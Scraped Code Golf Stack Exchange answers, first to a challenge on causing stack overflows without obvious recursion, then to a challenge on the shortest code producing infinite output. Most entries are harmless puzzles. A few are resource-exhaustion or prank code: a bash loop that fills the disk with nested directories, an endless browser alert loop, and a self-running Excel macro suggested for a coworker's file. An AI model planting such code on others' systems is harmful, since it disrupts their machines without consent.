serious security issues: ``` public class StillMoreEvilThanMyPreviousOne { public static void main(String[] args) { try { evilMethod(); } catch (Exception e) { e.printStackTrace(); } } private static void evilMethod() throws Exception { throw new EvilException(); } public static class EvilException extends Exception { @Override public Throwable getCause() { return new EvilException(); } } } ``` Some people may think that this is an obvious recursion. It is not. The `EvilException` constructor does not calls the `getCause()` method, so that exception can actually be thrown safely after all. Calling the `getCause()` method will not result in a `StackOverflowError` either. The recursion is inside JDK's normally-unsuspected `printStackTrace()` behaviour and whatever 3rd party library for debugging and logging that are used to inspect the exception. Further, it is likely that the place where the exception is thrown is very far from the place where it is handled. Anyway, here is a code that does throw a `StackOverflowError` and contains no recursive method calls after all. The `StackOverflowError` happens outside the `main` method, in JDK's `UncaughtExceptionHandler`: ``` public class StillMoreEvilThanMyPreviousOneVersion2 { public static void main(String[] args) { evilMethod(); } private static void evilMethod() { throw new EvilException(); } public static class EvilException extends RuntimeException { @Override public Throwable getCause() { return new EvilException(); } } } ``` ``` Exception: java.lang.StackOverflowError thrown from the UncaughtExceptionHandler in thread "main" ``` [Answer] ## JavaScript ``` window.toString = String.toLocaleString; +this; ``` [Answer] # Linux x86 NASM Assembly ``` section .data helloStr: db 'Hello world!',10 ; Define our string helloStrLen: equ $-helloStr ; Define the length of our string section .text global _start doExit: mov eax,1 ; Exit is syscall 1 mov ebx,0 ; Exit status for success int 80h ; Execute syscall printHello: mov eax,4 ; Write syscall is No. 4 mov ebx,1 ; File descriptor 1, stdout mov ecx,helloStr ; Our hello string mov edx,helloStrLen ; The length of our hello string int 80h ; execute the syscall _start: call printHello ; Print "Hello World!" once call doExit ; Exit afterwards ``` Spoiler: > > Forgetting to return from printHello, so we jump right into \_start again. > > > [Answer] # C++ at compile time ``` template <unsigned N> struct S : S<N-1> {}; template <> struct S<0> {}; template struct S<-1>; ``` ``` $ g++ -c test.cc -ftemplate-depth=40000 g++: internal compiler error: Segmentation fault (program cc1plus) Please submit a full bug report, with preprocessed source if appropriate. See for instructions. ``` There is no recursion this source file, not one of the classes has itself as a base class, not even indirectly. (In C++, in a template class like this, `S<1>` and `S<2>` are completely distinct classes.) The segmentation fault is due to stack overflow after recursion in the compiler. [Answer] # Bash (Danger Alert) ``` while true do mkdir x cd x done ``` Strictly speaking, that will not directly stack overflow, but generates what may be labelled as "*a persistent stack-over-flow generating situation*": when you run this until your disk is full, and want to remove the mess with "rm -rf x", that one is hit. It does not happen on all systems, though. Some are more robust than others. ### Big danger WARNING: some systems handle this **very** badly and you may have a very hard time cleaning up (because "rm -rf" itself will run into a recusion problem). You may have to write a similar script to cleanup. ### Better try this in a scratch VM if not sure. PS: the same applies, of course, if programmed or done in a batch script. PPS: it may be interresting to get a comment from you, how your particular system behaves... [Answer] # Java A nice one from [Java Puzzlers](http://rads.stackoverflow.com/amzn/click/032133678X). What does it print? ``` public class Reluctant { private Reluctant internalInstance = new Reluctant(); public Reluctant() throws Exception { throw new Exception("I'm not coming out"); } public static void main(String[] args) { try { Reluctant b = new Reluctant(); System.out.println("Surprise!"); } catch (Exception ex) { System.out.println("I told you so"); } } } ``` It actually fails with a StackOverflowError. The exception in the constructor is just a red herring. This is what the book has to say about it: > > When you invoke a constructor, the **instance variable initializers run > before the body of the constructor**. In this case, the > initializer for the variable `internalInstance` invokes the constructor > recursively. That constructor, in turn, initializes its own > `internalInstance` field by invoking the Reluctant constructor again and > so on, ad infinitum. These recursive invocations cause a > `StackOverflowError` before the constructor body ever gets a chance to > execute. Because `StackOverflowError` is a subtype of `Error` rather than > `Exception`, the catch clause in `main` doesn't catch it. > > > [Answer] # LaTeX ``` \end\end ``` The input stack overflows because `\end` repeatedly expands itself in an infinite loop, as explained [here](https://tex.stackexchange.com/questions/124423/end-end-causes-tex-capacity-exceeded). TeX fails with a `TeX capacity exceeded, sorry [input stack size=5000]` or similar. [Answer] # BF Will eventually overflow the stack, just depends how long the interpreter makes the stack... ``` +[>+] ``` [Answer] ## C#, at compile time There are a number of ways to cause the Microsoft C# compiler to blow its stack; any time you see an "expression is too complex to compile" error from the C# compiler that is almost certainly because the stack has blown. The parser is recursive descent, so any sufficiently deeply nested language structures will blow the stack: ``` class C { class C { class C { .... ``` The expression parser is pretty smart about eliminating recursions on the side that is commonly recursed on. Usually: ``` x = 1 + 1 + 1 + 1 + .... + 1; ``` which builds an enormously deep parse tree, will not blow the stack. But if you force the recursion to happen on the other side: ``` x = 1 + (1 + (1 + (1 + ....+ (1 + 1))))))))))))))))))))))))))))))))))))))))))...; ``` then the stack can be blown. These have the inelegant property that the program is very large. It is also possible to make the semantic analyzer go into unbounded recursions with a small program because it is not smart enough to remove certain odd cycles in the type system. (Roslyn might improve this.) ``` public interface IN<in U> {} public interface IC<X> : IN<IN<IC<IC<X>>>> {} ... IC<double> bar = whatever; IN<IC<string>> foo = bar; // Is this assignment legal? ``` I describe why this analysis goes into an infinite recursion here: <http://blogs.msdn.com/b/ericlippert/archive/2008/05/07/covariance-and-contravariance-part-twelve-to-infinity-but-not-beyond.aspx> and for many more interesting examples you should read this paper: <http://research.microsoft.com/en-us/um/people/akenn/generics/FOOL2007.pdf> [Answer] **On the Internet** (used by billion people/day) ``` Redirects, HTTP status code: 301 ``` For example, on the Dell support website (no offense, sorry Dell): If you remove the support TAG from the URL then it goes into ***infinite redirects***. In the following URL, ###### is any support TAG. <http://www.dell.com/support/drivers/uk/en/ukdhs1/ServiceTag/######?s=BSD&~ck=mn> I believe it's equivalent to a stack overflow. [Answer] ## PHP A stackoverflow done with looping elements only. ``` $a = array(&$a); while (1) { foreach ($a as &$tmp) { $tmp = array($tmp, &$a); } } ``` Explanation (hover to see the spoiler): > > The program will segfault when the interpreter tries to garbage collect the `$tmp` array away (when reassigning `$tmp` here). Just because the array is too deep (self referencing) and then the garbage collector ends up in a recursion. > > > [Answer] # Java I did the exact opposite – a program that should obviously throw a stack overflow error, but doesn't. ``` public class Evil { public static void main(String[] args) { recurse(); } private static void recurse() { try { recurse(); } finally { recurse(); } } } ``` Hint: the program runs in O(2*n*) time, and *n* is the size of the stack (usually 1024). From [Java Puzzlers](http://javapuzzlers.com) #45: > > Let's assume that our machine can execute 1010 calls per > second and generate 1010 exceptions per second, which is > quite generous by current standards. Under these assumptions, the > program will terminate in about 1.7 × 10291 years. To put > this in perspective, the lifetime of our sun is estimated at > 1010 years, so it is a safe bet that none of us will be > around to see this program terminate. Although it isn't an infinite > loop, it might as well be. > > > [Answer] # C# First post, so please go easy on me. ``` class Program { static void Main() { new System.Diagnostics.StackTrace().GetFrame(0).GetMethod().Invoke(null, null); } } ``` This simply creates a stack trace, grabs the top frame (which will be our last call to `Main()`), gets the method, and invokes it. [Answer] # Java * In Java 5, `printStackTrace()` enters an infinite loop. * In Java 6, `printStackTrace()` throws `StackOverflowError`. * In Java 7 and 8, it was fixed. The crazy thing is that in Java 5 and 6, it does not comes from user code, it happens in JDK's code. No one reasonable suspects that `printStackTrace()` can be dangerous to execute. ``` public class Bad { public static void main(String[] args) { try { evilMethod(); } catch (Exception e) { e.printStackTrace(); } } private static void evilMethod() throws Exception { Exception a = new Exception(); Exception b = new Exception(a); a.initCause(b); throw a; } } ``` [Answer] # JavaScript: Non-recursive, iterative function mutation ``` var f = function() { console.log(arguments.length); }; while (true) { f = f.bind(null, 1); f(); } ``` There's no recursion here at all. `f` will be repeatedly curried with more and more arguments until it can overflow the stack **in a single function call.** The `console.log` part is optional in case you want to see how many arguments it takes to do it. It also ensures that clever JS engines won't optimize this away. Code-golf version in CoffeeScript, 28 chars: ``` f=-> do f=f.bind f,1 while 1 ``` [Answer] # C# with an epic fail ``` using System.Xml.Serialization; [XmlRoot] public class P { public P X { get { return new P(); } set { } } static void Main() { new XmlSerializer(typeof(P)).Serialize(System.Console.Out, new P()); } } ``` The way it fails is epic, it blew my mind completely: ![enter image description here](https://i.stack.imgur.com/LGPLc.png) It is just one frame of a seemingly infinite tripping series of strange images. This has got to be the weirdest thing ever. Can anybody explain? Apparently, the ever increasing amount of spaces used for indentation cause those white blocks to appear. It happens on a Win7 Enterprise x64 with .NET 4.5. I haven't actually seen the end of it yet. If you replace `System.Console.Out` with `System.IO.Stream.Null`, it dies pretty fast. The explanation is pretty simple. I make a class which has a single property, and it always returns a new instance of its containing type. So it's an infinitely deep object hierarchy. Now we need something which tries to read through that. That's where I use the `XmlSerializer`, which does just that. And apparently, it uses recursion. [Answer] ## bash ``` _(){ _;};_ ``` While many might recognize that the recursion is *obvious*, but it seems pretty. No? Upon execution, you are guaranteed to see: ``` Segmentation fault (core dumped) ``` [Answer] ## Haskell (sad but true until at least `ghc-7.6`, though with `O1` or more it'll optimise the problem away) ``` main = print $ sum [1 .. 100000000] ``` [Answer] # Smalltalk This creates a new method on the fly, which   creates a new method on the fly, which     creates a new method on the fly, which       ...     ...   .. and then transfers to it. An extra little spice comes from stressing stack memory AND heap memory at the same time, by creating both a longer and longer method name, and a huge number as receiver, as we fall down the hole... (but the recursion hits us first). compile in Integer: ``` downTheRabbitHole |name deeperName nextLevel| nextLevel := self * 2. name := thisContext selector. deeperName := (name , '_') asSymbol. Class withoutUpdatingChangesDo:[ nextLevel class compile:deeperName , (thisContext method source copyFrom:name size+1). ]. Transcript show:self; showCR:' - and down the rabbit hole...'. "/ self halt. "/ enable for debugging nextLevel perform:deeperName. ``` then jump, by evaluating `"2 downTheRabbitHole"`... ...after a while, you'll end up in a debugger, showing a RecursionException. Then you have to cleanup all the mess (both SmallInteger and LargeInteger now have a lot of wonderland code): ``` {SmallInteger . LargeInteger } do:[:eachInfectedClass | (eachInfectedClass methodDictionary keys select:[:nm| nm startsWith:'downTheRabbitHole_']) do:[:each| eachInfectedClass removeSelector:each] ``` or else spend some time in the browser, removing alice's wonderland. Here is some from the head of the trace: ``` 2 - and down the rabbit hole... 4 - and down the rabbit hole... 8 - and down the rabbit hole... 16 - and down the rabbit hole... [...] 576460752303423488 - and down the rabbit hole... 1152921504606846976 - and down the rabbit hole... 2305843009213693952 - and down the rabbit hole... [...] 1267650600228229401496703205376 - and down the rabbit hole... 2535301200456458802993406410752 - and down the rabbit hole... 5070602400912917605986812821504 - and down the rabbit hole... [...] 162259276829213363391578010288128 - and down the rabbit hole... 324518553658426726783156020576256 - and down the rabbit hole... [...] and so on... ``` PS: the "withoutUpdatingChangesFile:" was added to avoid having to cleanup Smalltalk's persistent change-log file afterwards. PPS: thanks for the challenge: thinking about something new and innovative was fun! PPPS: I like to note that some Smalltalk dialects/versions copy overflowing stack frames to the heap - so these may run into an out-of-memory situation instead. [Answer] ## C# Really big `struct`, no recursion, pure C#, not unsafe code. ``` public struct Wyern { double a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u, v, w, x, y, z; } public struct Godzilla { Wyern a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u, v, w, x, y, z; } public struct Cyclops { Godzilla a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u, v, w, x, y, z; } public struct Titan { Cyclops a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u, v, w, x, y, z; } class Program { static void Main(string[] args) { // An unhandled exception of type 'System.StackOverflowException' occurred in ConsoleApplication1.exe var A=new Titan(); // 26×26×26×26×8 = 3655808 bytes Console.WriteLine("Size={0}", Marshal.SizeOf(A)); } } ``` as a kicker it crashes the debug windows stating that `{Cannot evaluate expression because the current thread is in a stack overflow state.}` --- And the generic version (thanks for the suggestion NPSF3000) ``` public struct Wyern<T> where T: struct { T a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u, v, w, x, y, z; } class Program { static void Main(string[] args) { // An unhandled exception of type 'System.StackOverflowException' occurred in ConsoleApplication1.exe var A=new Wyern<Wyern<Wyern<Wyern<int>>>>(); } } ``` [Answer] ## C# Faulty implementation of overriden `==` operator: ``` public class MyClass { public int A { get; set; } public static bool operator ==(MyClass obj1, MyClass obj2) { if (obj1 == null) { return obj2 == null; } else { return obj1.Equals(obj2); } } public static bool operator !=(MyClass obj1, MyClass obj2) { return !(obj1 == obj2); } public override bool Equals(object obj) { MyClass other = obj as MyClass; if (other == null) { return false; } else { return A == other.A; } } } ``` One might say it's obvious that `operator==` calls itself by using the `==` operator, but you usually do not think that way about `==`, so it's easy to fall into that trap. [Answer] # Starting reply using SnakeYAML ``` class A { public static void main(String[] a) { new org.yaml.snakeyaml.Yaml().dump(new java.awt.Point()); } } ``` Edit: ungolfed it Its up to the reader to find out how that works :P (tip: stackoverflow.com) By the way: the recursion is dynamically made by SnakeYAML (you will notice if you know how it detects the fields it serializes and look then in `Point`'s sourcecode) Edit: telling how that one works: SnakeYAML looks for a pair of `getXXX` and `setXXX` mthod with same name for `XXX` and return type of the getter is same as parameter of setter; and surprisingly the `Point` class has a `Point getLocation()` and `void setLocation(Point P)` which returns itself; SnakeYAML doesn't notice it and recurses on that quirk and StackOverflows. Discovered that one when working with them inside a `HashMap` and asking on stackoverflow.com on it. [Answer] ## C# wrongly implemented property getter ``` class C { public int P { get { return P; } } } static void Main() { int p = new C().P; } ``` ]
[Question] [ Write the shortest code you can that produces an infinite output. That's all. You code will only be disqualified if it stops producing output at some point. As always in code golf, the shortest code wins. Here's a list of answers that I think are really clever, so they can get credit: * [The comma is both code and data](https://codegolf.stackexchange.com/a/37210/8611) * [Infinite errors (that counts)](https://codegolf.stackexchange.com/a/26418/8611) * [Infinite warnings (that also counts)](https://codegolf.stackexchange.com/a/20902/8611) * [What's Marbelous?](https://codegolf.stackexchange.com/a/37209/8611) ## Leaderboard ``` var QUESTION_ID=13152,OVERRIDE_USER=8611;function answersUrl(e){return"https://api.stackexchange.com/2.2/questions/"+QUESTION_ID+"/answers?page="+e+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+ANSWER_FILTER}function commentUrl(e,s){return"https://api.stackexchange.com/2.2/answers/"+s.join(";")+"/comments?page="+e+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+COMMENT_FILTER}function getAnswers(){jQuery.ajax({url:answersUrl(answer_page++),method:"get",dataType:"jsonp",crossDomain:!0,success:function(e){answers.push.apply(answers,e.items),answers_hash=[],answer_ids=[],e.items.forEach(function(e){e.comments=[];var s=+e.share_link.match(/\d+/);answer_ids.push(s),answers_hash[s]=e}),e.has_more||(more_answers=!1),comment_page=1,getComments()}})}function getComments(){jQuery.ajax({url:commentUrl(comment_page++,answer_ids),method:"get",dataType:"jsonp",crossDomain:!0,success:function(e){e.items.forEach(function(e){e.owner.user_id===OVERRIDE_USER&&answers_hash[e.post_id].comments.push(e)}),e.has_more?getComments():more_answers?getAnswers():process()}})}function getAuthorName(e){return e.owner.display_name}function process(){var e=[];answers.forEach(function(s){var r=s.body;s.comments.forEach(function(e){OVERRIDE_REG.test(e.body)&&(r="<h1>"+e.body.replace(OVERRIDE_REG,"")+"</h1>")});var a=r.match(SCORE_REG);a&&e.push({user:getAuthorName(s),size:+a[2],language:a[1],link:s.share_link})}),e.sort(function(e,s){var r=e.size,a=s.size;return r-a});var s={},r=1,a=null,n=1;e.forEach(function(e){e.size!=a&&(n=r),a=e.size,++r;var t=jQuery("#answer-template").html();t=t.replace("{{PLACE}}",n+".").replace("{{NAME}}",e.user).replace("{{LANGUAGE}}",e.language).replace("{{SIZE}}",e.size).replace("{{LINK}}",e.link),t=jQuery(t),jQuery("#answers").append(t);var o=e.language;/<a/.test(o)&&(o=jQuery(o).text()),s[o]=s[o]||{lang:e.language,user:e.user,size:e.size,link:e.link}});var t=[];for(var o in s)s.hasOwnProperty(o)&&t.push(s[o]);t.sort(function(e,s){return e.lang>s.lang?1:e.lang<s.lang?-1:0});for(var c=0;c<t.length;++c){var i=jQuery("#language-template").html(),o=t[c];i=i.replace("{{LANGUAGE}}",o.lang).replace("{{NAME}}",o.user).replace("{{SIZE}}",o.size).replace("{{LINK}}",o.link),i=jQuery(i),jQuery("#languages").append(i)}}var ANSWER_FILTER="!t)IWYnsLAZle2tQ3KqrVveCRJfxcRLe",COMMENT_FILTER="!)Q2B_A2kjfAiU78X(md6BoYk",answers=[],answers_hash,answer_ids,answer_page=1,more_answers=!0,comment_page;getAnswers();var SCORE_REG=/<h\d>\s*([^\n,]*[^\s,]),.*?(\d+)(?=[^\n\d<>]*(?:<(?:s>[^\n<>]*<\/s>|[^\n<>]+>)[^\n\d<>]*)*<\/h\d>)/,OVERRIDE_REG=/^Override\s*header:\s*/i; ``` ``` body{text-align:left!important}#answer-list,#language-list{padding:10px;width:290px;float:left}table thead{font-weight:700}table td{padding:5px} ``` ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <link rel="stylesheet" type="text/css" href="//cdn.sstatic.net/codegolf/all.css?v=83c949450c8b"> <div id="answer-list"> <h2>Leaderboard</h2> <table class="answer-list"> <thead> <tr><td></td><td>Author</td><td>Language</td><td>Size</td></tr></thead> <tbody id="answers"> </tbody> </table> </div><div id="language-list"> <h2>Winners by Language</h2> <table class="language-list"> <thead> <tr><td>Language</td><td>User</td><td>Score</td></tr></thead> <tbody id="languages"> </tbody> </table> </div><table style="display: none"> <tbody id="answer-template"> <tr><td>{{PLACE}}</td><td>{{NAME}}</td><td>{{LANGUAGE}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr></tbody> </table> <table style="display: none"> <tbody id="language-template"> <tr><td>{{LANGUAGE}}</td><td>{{NAME}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr></tbody> </table> ``` [Answer] ## Befunge (1) ``` . ``` Outputs `0` forever. It works because in Befunge lines wrap around, and you get `0` if you pop from the empty stack. [Answer] # x86 .COM Executable, 7 in hex: ``` b8 21 0e cd 10 eb fc ``` --- The others need kilobytes or more of system libraries and runtime. Back to basics: ``` $ echo -ne '\xb8!\xe\xcd\x10\xeb\xfc' > A.COM $ dosbox A.COM ``` ![output](https://i.stack.imgur.com/72rHt.png) You can change the 2nd byte (`0x21`, or `!`) to change the output. Uses a BIOS interrupt for output; doesn't need DOS, but I didn't have QEMU set up. --- ## Explanation The machine code corresponds with the following assembly: ``` mov ax, 0x0e21 again: int 0x10 jmp again ``` The output is all in the `int` call -- per [this reference](http://www.computing.dcu.ie/%7Eray/teaching/CA296/notes/8086_bios_and_dos_interrupts.html#int10h_0Eh), int 0x10 with 0x0e in AH will print the byte in AL to the screen. Knowing that register AX is a 16-bit word comprised of AH in the high byte and AL in the low byte, we can save an extra load (and thereby a byte in the machine code) by loading them together. [Answer] # Windows Batch file, 2 chars ``` %0 ``` Calls itself infinitely. [Answer] # Befunge 98 - 2 ``` ," ``` Outputs ",,,,,,,,,,," for eternity. [Answer] # sh, 3 bytes ``` yes ``` outputs `y` continuously [Answer] ## GHCi + Data.Function, 8 bytes Old thread, but a fun one is ``` fix show ``` in Haskell, it prints ``` "\"\\\"\\\\\\\"\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\\… ``` forever since it's basically running ``` let x = show x in x ``` It knows that `x` is a string, so the first character is `"`, so this needs to be escaped with `\"`, but know that `\` needs to be escaped so `\\\x`, and so on and so on. [Answer] # Bash, 4 bytes ``` $0&$ ``` Outputs `./forever2.sh: line 1: $: command not found` continuously. Because `$0` is backgrounded, each parent dies after the invalid command `$`, and so stack/memory is not eaten up, and this should continue indefinitely. Strangely the output gets slower and slower over time. `top` reports that system CPU usage is close to 100%, but there are memory- or CPU-hog processes. Presumably some resource allocation in the kernel gets less and less efficient. [Answer] **Windows Batch file, 9 characters** ``` :a goto a ``` [Answer] ## Java, 54 characters Best attempt in Java: ``` class A{static{for(int i=0;i<1;)System.out.print(1);}} ``` [Answer] # Brainfuck, 4 ``` +[.] ``` Alternatively, ``` -[.] ``` [Answer] # LOLCODE (36) ``` HAI IZ 1<2? VISIBLE "0" KTHX KTHXBYE ``` Thought I'd give LOLCODE a shot, has a surprisingly large amount of functionality. [Answer] ### JavaScript: 14 > > ## WARNING: you really don't want to run this in your browser > > > ``` for(;;)alert() ``` [Answer] ## Turing Machine - 6 Characters : ``` #s->1Rs ``` where `#` is blank symbol (on the tape by default), `s` describes the only existing (start) state, `1` is printing a digit, `R` means shifting to the right, `s` at the end is staying in the same state. [Answer] ## C, 23 chars Slightly shorter than the best C/C++ answer so far. Prints empty lines infinitely (but if compiled without optimizations, overflows the stack). ``` main(){main(puts(""));} ``` [Answer] # x86 .COM Executable, 5 bytes [![endless ASCII char set output](https://i.stack.imgur.com/w963S.png)](https://i.stack.imgur.com/w963S.png) in hex: ``` 40 CD 29 FF E6 ``` in asm: ``` inc ax int 0x29 jmp si ``` Explanation: `inc ax` increments the register AX by one. `int 0x29` is the "fast put char" routine of MSDOS, which simply outputs the value in AL (the low part of AX) and advances the cursor by one. `jmp si` is just a weird way to jump back to the top, since the register SI is 0x100 on almost every DOS-like operating system, which is also where a .com program starts ;) It's also possible to do a short jump instead, which also uses 2 bytes. Sources: [MSDOS Start Values](http://www.fysnet.net/yourhelp.htm) [Sizecoding WIKI](http://www.sizecoding.org) [Answer] ## Haskell, 10 ``` print[1..] ``` I think this is the shortest code to 1. Print something out. 2. Create an infinite `Show`:able datastructure. For those interested, it prints: ``` [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,... ``` [Answer] ## Python 3: 15, 17, or 18 characters [mdeitrick's answer](https://codegolf.stackexchange.com/questions/13152/shortest-code-to-produce-infinite-output/15188#15188) is longer in Python 3, which replaces the `print` statement with a function call (15 chars): ``` while 1:print() ``` This remains the shortest I've found in Python 3. However, there are some more-interesting ways of printing in an infinite loop that are only a few characters longer. * `print()` returns `None`, which != 9, making it an infinite loop; the `8` is a no-op that substitutes for `pass` (18 chars): ``` while print()!=9:8 ``` * `iter(print, 9)` defines an iterable that returns the output of `print()` until it equals `9` (which never happens). `any` consumes the input iterable looking for a true value, which never arrives since `print()` always returns `None`. (You could also use `set` to the same effect.) ``` any(iter(print,9)) ``` * Or, we can consumer the iterable by testing whether it contains `8` (17 chars): ``` 8in iter(print,9) ``` * Or, [unpack it using the splat operator](https://codegolf.stackexchange.com/questions/54/tips-for-golfing-in-python/4389#4389): ``` *_,=iter(print,9) ``` * The weirdest way I thought of is to use splat destructuring inside a function call, `function(*iterable)`. It seems that Python tries to consume the entire iterable before even attempting the function call—even if the function call is bogus. This means that we don't even need a real function, because the type error will only be thrown after the iterable is exhausted (i.e. never): ``` 8(*iter(print,9)) ``` [Answer] ## VBA: 12 Audio is output, right? ``` do:beep:loop ``` Put that in your 'favorite' coworker's favorite macro-enabled MS office file for some 'fun'! ``` Private Sub Workbook_Open() Do:Beep:Loop End Sub ``` Bonus points if they're using headphones. [Answer] # [Marbelous](https://github.com/marbelous-lang) 4 ``` 24MB ``` Marbelous does surprisingy well here. This will post an infinite amount of dollar signs `$`, though it will hit the stack limit rather quickly. **How it works.** 24 is a language literal, which will fall off the board and be printed to STDOUT as its corresponding ascii character. MB is the name implicitly given to the main board, since the main board has no input, it will fire every tick. And since cells are evaluated from left to right, the literal will always be printed before the next recursive call. So this is rougly equivalent to this pseudocode: ``` MB() { print('$'); while(true) MB(); } ``` ## A solution without infinite recursion 11 ``` 24@0 @0/\.. ``` This one works by looping the literal between two portals `@0`, whenever the 24 hits the lower `@0` it is transported to the cell underneath the upper `@0`. It the lands on the `/\`, which is a clone operator, it puts one copy of the marble (literal) on it's left (back on the portal) and another one to its right. This coopy then falls off the board (since `..` is an empty cell) and gets printed to STDOUT. In pseudocode, this would translate to: ``` MB() { while(true) print '$' } ``` ## A shorter solution without infinite recursion 9 ``` 24 \\/\.. ``` This one constantly tosses the marble around between a cloner and a deflector, putting one copy on the rightmost cell, to be dropped off the board. In pseudocode that would look something like: ``` MB() { List charlist = ['$']; while(true) { charlist.add(charlist[0]; charlist.add(charlist[0]; charlist.pop(); print(charlist.pop()); // Wait, what? } } ``` **note** The `..` cells are necessary on the two last boards since the marbles would land off the board (and be discarded) otherwise. For some extra fun, you replace the `24` marble by `FF` and the empty `..` cell by a `??`, which turns any marble into a marble between 0 and it's current value before dropping it down. Guess what that would look like on STDOUT. [Answer] # perl, 10 chars Here's another 10 char perl solution with some different tradeoffs. Specifically, it doesn't require the -n flag or user input to start. However, it does keep eating memory ad infinitum. ``` warn;do$0 ``` save to a file, execute that file and you get eg: ``` Warning: something's wrong at /tmp/foo.pl line 1. Warning: something's wrong at /tmp/foo.pl line 1. Warning: something's wrong at /tmp/foo.pl line 1. ``` [Answer] # piet - 3 codels ![http://www.pietfiddle.net/img/auQXtFXATg.png?cs=15](https://i.stack.imgur.com/NJSmf.png) Outputs an infinite number of 1's [Answer] # [Bitxtreme](http://esolangs.org/wiki/Bitxtreme), 0.25 bytes Binary representation: ``` 00 ``` From the documentation: > > The first bit of each pair is a pointer to the memory position which holds the value to subtract from the accumulator. The result is stored in that same memory position pointed to by the operand. If the result is negative (the bits are in two's complement representation) then the second bit of the pair will be added to the current PC, modulo 2. > > > The program counter and accumulator are initialized to zero; then, the contents of memory location 0 are subtracted from the accumulator. This happens to be 0, leaving the accumulator at zero. Since there was no carry, the second bit is not added to the program counter. The program counter is then incremented by 2 modulo 2, sending it back to the start, and causing an infinite loop. At each step, the special memory location 0 is modified, causing its contents (a `0`) to be written to output. It can be argued that this program should be scored as 1 byte, because the official interpreter in Python requires zero-padding. However, I don't think the zero-padding is really *code*. [Answer] # ><> [(Fish)](http://esolangs.org/wiki/Fish), 2 A creative way to use the infinite codebox of fish: ``` "o ``` Because the instruction pointer returns back to the beginning of the line after reaching the end, this code can essentially be read as ``` "o"o ``` which means 'read the string "o" and then output it'. [You can test the code here](http://fishlanguage.com/) [Answer] # [Z80Golf](https://github.com/lynn/z80golf), 0 bytes [Try it online!](https://tio.run/##q7IwSM/PSfsPBAA "Z80Golf – Try It Online") Surprisingly, this is an empty *machine code* program that produces infinite output. ### How it works Z80Golf machine initializes all the memory and registers to zero, and then loads the code to address 0. But there's nothing to load, so the whole memory becomes a no-op program. When the PC hits the address `$8000` (`$` indicates hex in Z80 assembly), `putchar` is simulated. It consists of printing the register `a` to stdout and a `ret` instruction. Initially the stack pointer `sp` is zero, and `ret` does `pc <- [sp]; sp <- sp + 2`. The whole memory is zeroed, so the `ret` always returns to the start of the program regardless of `sp`. The conclusion is that an empty Z80Golf program is a program that infinitely prints null bytes. [Answer] # Summary: Ruby - 9, Golfscript - 6, ><> - 2, Whitespace - 19, ~~Perl - 2~~ One language I know, and two I've never, ever, used before :D EDIT: Perl one didn't work when I installed Perl to try it :( ## Ruby, 9 ``` loop{p 1} ``` Simply prints 1 on separate lines continually. Also, a bunch of alternatives: ``` loop{p''} # prints [ "" ] on separate lines continually loop{p p} # prints [ nil ] on separate lines continually ``` 10-char solution: ``` p 1while 1 ``` I was actually surprised that I could remove the space between the first `1` and the `while`, but apparently it works ## Golfscript, 6 ``` {1p}do ``` My first Golfscript program! :P ## ><> ([Fish](http://esolangs.org/wiki/Fish)), 2 ``` 1n ``` ## [Whitespace](http://compsoc.dur.ac.uk/whitespace/index.php), 19 ``` lssslssstltlsslslsl ``` Where `s` represents a space, `t` represents a tab, and `l` a linefeed. [Answer] **C, 25 24** ``` main(){main(puts("1"));} ``` [Answer] ## [dc](https://en.wikipedia.org/wiki/Dc_%28computer_program%29), 7 ``` [pdx]dx ``` prints 'pdx\n' infinitely many times. [Answer] # Minecraft > 1.9 2 + 5 = 7 Bytes Note that this version of this "language" was created after the question. Surprisingly good for MineCraft. o-o This is using [this definition of MineCraft scoring](http://meta.codegolf.stackexchange.com/a/7397/44713). [![the system](https://i.stack.imgur.com/cQ4lI.png)](https://i.stack.imgur.com/cQ4lI.png) The command `say 1` put inside of a permanently active repeating command block. It will permanently output `[@] 1` to the chat. [Answer] # [Seed](http://esolangs.org/wiki/Seed), 4 bytes ``` 99 5 ``` [Try it online!](https://tio.run/##K05NTfn/39JSwfT/fwA "Seed – Try It Online") Outputs `11` infinitely Generates the following Befunge-98 Program: ``` [glzgx"Lz^v*M7TW!4:wi/l-[, s44~s;|Sa3zb|u<B/-&<Y a@=nN>Nc%}"gq!kCW $1{2hyzABRj*glr#z(@Zx@xT=>1'.b / ``` [Try it online!](https://tio.run/##S0pNK81LT9W1tNAtqAQz//@PTs@pSq9Q8qmKK9PyNQ8JVzSxKs/Uz9GN1lEoNjGpK7auCU40rkqqKbVx0tdVs4lUSHSwzfOz80tWrVVKL1TMdg5XUDGsNsqorHJ0CsrSSs8pUq7ScIiqcKgIsbUzVNdL4tL//x8A "Befunge-98 (PyFunge) – Try It Online") --- The relevant part is just this: ``` [>1'.b / ``` `b` pushes `11` to the stack and `.` prints it. `1` and `49` are also pushed to the stack, but never actually printed. Animation of the code running: [![enter image description here](https://i.stack.imgur.com/tsAk8.gif)](https://i.stack.imgur.com/tsAk8.gif) [Answer] # [Vyxal](https://github.com/Vyxal/Vyxal), 4 bytes (UTF-8) ``` 🍪 ``` [Try it Online!](https://vyxal.pythonanywhere.com/#WyIiLCIiLCLwn42qIiwiIiwiIl0=) Outputs `cookie` forever. ]
